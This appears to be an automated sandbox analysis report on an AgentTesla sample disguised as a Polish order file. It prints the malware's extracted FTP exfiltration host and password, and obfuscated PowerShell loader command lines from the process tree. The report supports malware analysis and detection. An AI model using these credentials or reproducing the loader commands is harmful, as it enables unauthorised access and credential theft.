Analysis
- max time kernel
298s - max time network
196s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
03/07/2026, 02:08
General
- Target Zamówienie_Nr.260700351.js
- Size 61KB
- Sample260703-ckvebaez2j
- SHA256 8954fab16e828fafa0b1aeb00f1a59e7c5dabf60e35e10ce1a86462958e0d5ff
Malware Config
Extracted
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agenttesla
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Protocol
ftp
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Host
ftp://ftp.rusticpensiune.ro
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Port
21
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Username
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Password
hr,d@KUwa5llI%*RNL^J]g%8I;!;_Ne#G1h~lE!*86DAAD6#iLm$x)r+e1z$p+_Q,4_(f!};B?vD!IG?NqT[zOHNr6_nww[S]V?MlcYSt_QO
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Drops file in System32 directory 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Zamówienie_Nr.260700351.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exe"C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Sympatho54.lnk"2⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c START "Mufflin82" /min powershell.exe -NOLOGO -COMMAND "$Sunninessl=gc ($HOME+'/ap'+'pdata/local/Indk');$Graze=$Sunninessl[3416]+$Sunninessl[3417]+$Sunninessl[3418]; . ($Graze) $Sunninessl"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NOLOGO -COMMAND "$Sunninessl=gc ($HOME+'/ap'+'pdata/local/Indk');$Graze=$Sunninessl[3416]+$Sunninessl[3417]+$Sunninessl[3418]; . ($Graze) $Sunninessl"3⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Sunninessl=gc ($HOME+'/ap'+'pdata/local/Indk');$Graze=$Sunninessl[3416]+$Sunninessl[3417]+$Sunninessl[3418]; . ($Graze) $Sunninessl"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
Sympatho54.lnk
nedk.Plk
Indk
memory/2408-40-0x00000000207D0000-0x00000000207DA000-memory.dmp
memory/2408-39-0x0000000020840000-0x00000000208D2000-memory.dmp
memory/2408-38-0x0000000020750000-0x00000000207A0000-memory.dmp
memory/2408-37-0x0000000000850000-0x0000000000892000-memory.dmp
memory/2408-36-0x0000000000850000-0x0000000001B36000-memory.dmp
memory/2408-32-0x0000000000850000-0x0000000001B36000-memory.dmp
memory/3388-23-0x0000000006FB0000-0x0000000007046000-memory.dmp
memory/3388-19-0x0000000005870000-0x0000000005BCB000-memory.dmp
memory/3388-21-0x0000000005CF0000-0x0000000005D0E000-memory.dmp
memory/3388-24-0x0000000006200000-0x000000000621A000-memory.dmp
memory/3388-25-0x0000000006270000-0x0000000006292000-memory.dmp
memory/3388-26-0x0000000007610000-0x0000000007BCA000-memory.dmp
memory/3388-27-0x0000000008250000-0x00000000088CC000-memory.dmp
memory/3388-22-0x0000000005D20000-0x0000000005D6C000-memory.dmp
memory/3388-29-0x00000000088D0000-0x000000000BCDF000-memory.dmp
memory/3388-15-0x00000000050E0000-0x0000000005146000-memory.dmp
memory/3388-16-0x00000000057B0000-0x0000000005816000-memory.dmp
memory/3388-14-0x0000000004E40000-0x0000000004E62000-memory.dmp
memory/3388-13-0x0000000005160000-0x00000000057AA000-memory.dmp
memory/3388-12-0x00000000024A0000-0x00000000024D6000-memory.dmp
memory/3444-7-0x0000023C6E160000-0x0000023C6E182000-memory.dmp